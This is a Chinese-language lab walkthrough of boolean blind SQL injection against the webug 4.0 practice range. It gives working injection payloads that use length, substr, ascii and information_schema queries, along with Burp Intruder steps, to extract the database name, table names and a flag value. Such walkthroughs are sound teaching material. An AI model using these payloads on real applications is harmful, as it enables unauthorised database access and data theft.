一、盲注介绍
进行注入时,页面不会回显错误,只会显示正常和不正常。
二、借助的函数
- length() 返回字符串长度
- substr() 截取字符串
- ascii() 返回字符的ascii码
- count() 统计数量
三、爆库(通过webug 4.0 sql盲注介绍)
界面如下:
爆数据库长度
(1)爆数据库长度
构建注入语句:1’ and length(database())=1#
在burp进行攻击时,将1设置为变量
(2)将语句拼接到url上,使用burp拦截
(3)设置变量,选择狙击手模式,添加变量集,
(4)进行攻击,如图
如图,收集到数据库长度为5
爆数据库名
(1)构建注入语句:1’ and ascii(substr(database(),1,1))=1#
(2)使用burp拦截
(3)设置变量,攻击模式选择集速炸弹,参数1遍历库名长度,参数2进行匹配ascii值
参数1
参数2
(4)进行攻击
根据匹配ascii表,得数据库名为webug
四、爆表
爆webug表的数量
(1)构建注入语句:
1’ and (select count(table_name) from information_schema.tables where table_schema=‘webug’)=1#
(2)拼接到url上,用于burp拦截
(3)设置变量
设置变量集
进行攻击
判断出表的数量为7个
依次爆破表名
(1)爆破第一个表名,爆破第一个表名长度
注入语句:1’ and length(substr((select table_name from information_schema.tables where table_schema=‘webug’ limit 0,1),1))=1#
(2)设置变量
设置变量集
进行攻击
获取到第一个表长度为9
(3)开始爆表名
构建注入语句:1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘webug’ limit 0,1),1,1))=0
(4)构建到url,使用burp进行拦截
(5)设置变量,变量集,进行攻击
参数1
参数2
攻击
对照ascii码表,可得出第一个表名为:data_crud
五、爆数据
所有的表可根据上述方法依次爆出,比较繁琐,根据webug第一关的经验,第二关的flag也可能在flag表的flag参数中,直接进行爆破
(1)构造注入参数:
1’ and length(substr((select flag from flag),1))=0#
(2)设置参数,进行攻击
爆破出flag参数为16位
(3)再进行爆破数据,构造注入语句
1’ and ascii(substr((select flag from flag),1,1))=0
设置变量,进行爆破
变量1
变量2
攻击
匹配ascii码表,得出数据
dfafdasfafdsadfa
总结:最后得出的flag不是该关的flag,在另外的表上,但是学习方法最重要,找出真正flag只是时间问题,以上可以使用sqlmap跑。